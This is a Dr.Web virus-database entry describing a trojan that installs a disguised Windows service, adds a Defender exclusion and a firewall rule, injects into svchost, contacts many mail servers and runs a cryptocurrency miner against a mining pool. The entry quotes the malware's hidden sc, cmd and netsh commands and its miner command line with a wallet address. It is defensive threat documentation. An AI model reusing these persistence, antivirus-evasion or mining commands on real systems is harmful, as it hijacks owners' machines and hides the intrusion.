JavaScript support is required for our site to be fully operational in your browser.
Trojan.Siggen9.22826
Added to the Dr.Web virus database:
2020-03-20
Virus description added:
2020-03-24
Technical Information
To ensure autorun and distribution
Creates the following services
[<HKLM>\System\CurrentControlSet\Services\qqrrnqff] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\qqrrnqff] 'ImagePath' = '%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\qqrrnqff] 'ImagePath' = '%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qqrrnqff' = '00000000'
Executes the following
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
%WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
%TEMP%\zcicrcnt.exe
%WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
from %TEMP%\zcicrcnt.exe to %WINDIR%\syswow64\qqrrnqff\zcicrcnt.exe
Deletes itself.
Network activity
Connects to
'alt1.aspmx.l.google.com':25
TCP
HTTP GET requests
'43.#31.4.7':443
'mx##.5ax.org':25
'mx###.##il.am0.yahoodns.net':25
'46.#8.66.2':430
'93.##9.69.109':430
'46.#.52.109':430
'17#.#.114.177':430
'18#.#65.238.150':430
'78.#1.67.23':430
'ma##.issihk.net':25
'ms#####p-mx2.hinet.net':25
'eu#.###.#rotection.outlook.com':25
'mx.####luciajunta.es':25
'ms#####p-mx1.hinet.net':25
'in.#####.##ht.sjdc.mx.trendmicro.com':25
'gmail-smtp-in.l.google.com':25
'mt#######.#et.mx1.greymail.rcimx.net':25
'mt##.##0.yahoodns.net':25
'mi####.bittubeapp.com':13333
'ho#########.olc.protection.outlook.com':25
'85.##4.134.88':486
'sm###.##ldencross.com.br':25
'mx.###lprotect.be':25
UDP
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK sm####.eastlink.ca
DNS ASK ho###il.co.uk
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ve####ststuff.net
DNS ASK vi###tron.ca
DNS ASK mx.##deotron.ca
DNS ASK ms#####p-mx2.hinet.net
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK is##hk.net
DNS ASK ma##.issihk.net
DNS ASK ok##.net
DNS ASK mx.####.##t.cust.a.hostedemail.com
DNS ASK google.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK sh###top.net
DNS ASK vi####ltitan.net
DNS ASK ya##o.co.uk
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ce###com.net
DNS ASK mx##.5ax.org
DNS ASK ch###ebuys.net
DNS ASK go####cross.com.br
DNS ASK sm###.##ldencross.com.br
DNS ASK mn##fi.net
DNS ASK eu####anstamps.net
DNS ASK mx.###lprotect.be
DNS ASK mo###ola.com
DNS ASK is#.net
DNS ASK ya##o.ca
DNS ASK da###ail.net
DNS ASK mt#######.#et.mx1.greymail.rcimx.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK t-##line.de
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mx##.#-online.de
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ho##ail.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ya##o.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK mt##.##0.yahoodns.net
DNS ASK mt###line.net
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK mi####.bittubeapp.com
DNS ASK hc##c.gc.ca
DNS ASK xt##.co.nz
DNS ASK mx.##ra.co.nz
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK te###.com.mx
DNS ASK vi#######mx-gateway.terra.com
DNS ASK mo###baer.net
DNS ASK in.#####.##ht.sjdc.mx.trendmicro.com
DNS ASK ms##.hinet.net
DNS ASK ms#####p-mx1.hinet.net
DNS ASK ms#.#inet.net
DNS ASK an####ciajunta.es
DNS ASK mx.####luciajunta.es
DNS ASK mx.####.seg-egs.gc.ca
DNS ASK ma###isp.net
Miscellaneous
Creates and executes the following
'%WINDIR%\syswow64\qqrrnqff\zcicrcnt.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qqrrnqff\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcicrcnt.exe" %WINDIR%\SysWOW64\qqrrnqff\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create qqrrnqff binPath= "%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description qqrrnqff "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start qqrrnqff' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qqrrnqff\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zcicrcnt.exe" %WINDIR%\SysWOW64\qqrrnqff\
'%WINDIR%\syswow64\sc.exe' create qqrrnqff binPath= "%WINDIR%\SysWOW64\qqrrnqff\zcicrcnt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description qqrrnqff "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start qqrrnqff
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK